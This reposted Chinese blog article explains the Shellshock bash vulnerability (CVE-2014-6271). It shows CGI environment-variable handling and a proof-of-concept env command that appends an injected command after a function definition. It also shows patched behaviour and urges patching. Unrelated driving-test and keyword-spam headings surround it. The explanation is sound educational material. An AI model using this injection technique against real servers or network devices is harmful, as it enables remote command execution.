b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

Bash漏洞分析

电脑杂谈  发布时间:2020-03-26 00:05:47  来源:网络整理

bash 漏洞 利用_bash 漏洞利用_bash 漏洞

无论是Windows程序还是Linux程序,都支持环境变量. 一般而言,环境变量作为赋值字符串存储在过程存储空间的开头. 用户执行程序时,可以通过指定环境变量将信息传递给执行的程序. 在以GUI为主导的Windows平台上,普通用户很少需要使用环境变量来将信息传递给程序. 环境变量是进程空间中的资源,并且不同进程的环境变量不能共享. 但是,您可以使用流程资源继承机制将父流程的环境变量复制到子流程. 例如bash 漏洞 利用,为bash进程设置的环境变量将自动复制到bash启动的子进程中.

不同的程序对环境变量的应用程度不同. 许多小型程序可以忽略环境变量. 但是,有许多程序严重依赖于环境变量,例如Web的CGI程序,其中所有表单数据都由Web服务器进程以环境变量的形式传递给CGI程序. 以下是用C语言编写的简单CGI程序.

int main(void)
{
    char *data;
    long m,n;
    printf("%s%c%c ","Content-Type:text/html;charset=gb2312",13,10);
    printf("< TITLE >乘法结果< /TITLE > ");
    printf("< H3 >乘法结果< /H3 > ");
    data = getenv("QUERY_STRING");
    if(data == NULL)
        printf("< P >错误!数据没有被输入或者数据传输有问题");
    else if(sscanf(data,"m=%ld&n=%ld",&m,&n)!=2)
        printf("< P >错误!输入数据非法。表单中输入的必须是数字。");
    else
        printf("< P >%ld和%ld的成绩是:%ld。",m,n,m*n);
    return 0;
}

可以看出,客户端发送的GET请求字符串是通过环境变量QUERY_STRING传递给该程序的.

Bash还是大量使用环境变量的人. 当然,用bash编写的CGI程序更多地依赖于环境变量. 以下是用bash编写的CGI程序.

#!/bin/bash  
  
echo 'Content-type: test/html'  
echo ''  
echo $QUERY_STRING  

还使用了环境变量QUERY_STRING.

bash 漏洞利用_bash 漏洞 利用_bash 漏洞

如前所述,环境变量是一组特殊的字符串,使用环境变量的程序必须对其进行分析和处理. 在大多数程序中,处理字符串是一项非常重要的任务,对于Web程序而言,处理字符串更是如此(html,xml,json文件内容本身就是字符串).

bash也不例外,当然,它需要分析环境变量的字符串,然后解释其含义并执行相关操作. 因为bash脚本本身是文本字符串,所以bash引擎可以简单地将环境变量字符串转换为脚本格式的字符串,然后将其取出并与要执行的bash脚本合并,然后解释并执行组合的脚本

例如,以下脚本:

echo 环境变量X的值是$X

环境变量为X = 100,则组合等效于:

X=100
echo 环境变量X的值为$X

我们可以使用env工具尝试这种效果. env的作用是为要执行的程序指定环境变量.

bash 漏洞 利用_bash 漏洞利用_bash 漏洞

[root@localhost ~]# env X=100 bash -c 'echo 环境变量X的值为$X';
环境变量X的值为100

让我们构造一个特殊的环境变量.

[root@localhost ~]# env X='() { echo 我是环境变量;};'  bash -c 'env';
HOSTNAME=localhost.localdomain
.... 省略显示无关环境变量
SSH_CONNECTION=172.16.35.220 60128 172.16.35.135 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
X=() {  echo 我是环境变量
}

这时,环境变量X仍然是字符串,但是bash将其解释为函数类型而不是字符串值. 因此,您可以直接执行此功能. 如下:

[root@localhost ~]# env X='() { echo 我是环境变量;};'  bash -c 'X';
我是环境变量

这时,Bash在转换环境变量后解释的脚本是:

X() { echo 我是环境变量;};

bash 漏洞利用_bash 漏洞 利用_bash 漏洞

而不是将其复制为X =(){echo我是环境变量;};

可以看出bash对于不同字符串格式的环境变量值具有不同的解释方法.

继续使X的值更加复杂,如下所示:

[root@localhost ~]# env X='() { echo 我是环境变量;}; echo 你中招了'  bash -c 'env'
你中招了
HOSTNAME=localhost.localdomain
SHELL=/bin/bash
SSH_CONNECTION=172.16.35.220 60128 172.16.35.135 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
X=() {  echo 我是环境变量
}
_=/bin/env

有问题!此时,由env为bash设置的环境变量X的值为

	() { echo 我是环境变量;}; echo 你中招了 

bash将前半部分解释为函数X的函数主体,而在后半部分不执行任何操作,然后将其直接转换为脚本. 解释的脚本如下:

bash 漏洞_bash 漏洞利用_bash 漏洞 利用

	X() { echo 我是环境变量;};
	echo 你中招了

合并的脚本如下:

X() { echo 我是环境变量;};
echo 你中招了
env

Echo将直接执行,实际上,此命令可以用任何其他命令替换,从而达到让bash执行任何命令的目的. 这是bash漏洞的基本原理.

让我们看一下应用补丁后的效果.

[root@localhost ~]# env X='() { echo 我是环境变量;}; echo 你中招了'  bash -c 'env'
HOSTNAME=localhost.localdomain
SHELL=/bin/bash
X=() { echo 我是环境变量;}; echo 你中招了
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
_=/bin/env
[root@localhost ~]# env X='() { echo 我是环境变量;}; echo 你中招了'  bash -c 'echo $X'
() { echo 我是环境变量;}; echo 你中招了

可以看出bash不再将X解释为一个函数,而是将整个环境变量值作为纯字符串分配给X.

通过上面的原理分析,我们知道任何可以通过某种方式将环境变量传递给bash的程序都将受到此影响. 当然bash 漏洞 利用,最典型的是bash编写的CGI程序. 客户端可以通过添加()的值来轻松地攻击和运行CGI {echo我是一个环境变量;};回显到您在请求字符串中选择的表单值. 服务器.

CGI在大多数一般网站中很少使用,因此问题不会太大. 但是,许多网络设备(例如路由器和交换机)都使用以perl或其他语言编写的CGI程序. 只要bash叫到底部,风险仍然很高.

当前,此漏洞的补丁已发布,请尽快应用. 不幸的是,在应用补丁程序后,还有其他漏洞会泄漏文件内容. 有关详细信息,请参阅转载的文章: /d4_0x07_DNFWAH_shellshock_bash_story_cve-2014-6271.txt


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-152319-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      热点图片
      拼命载入中...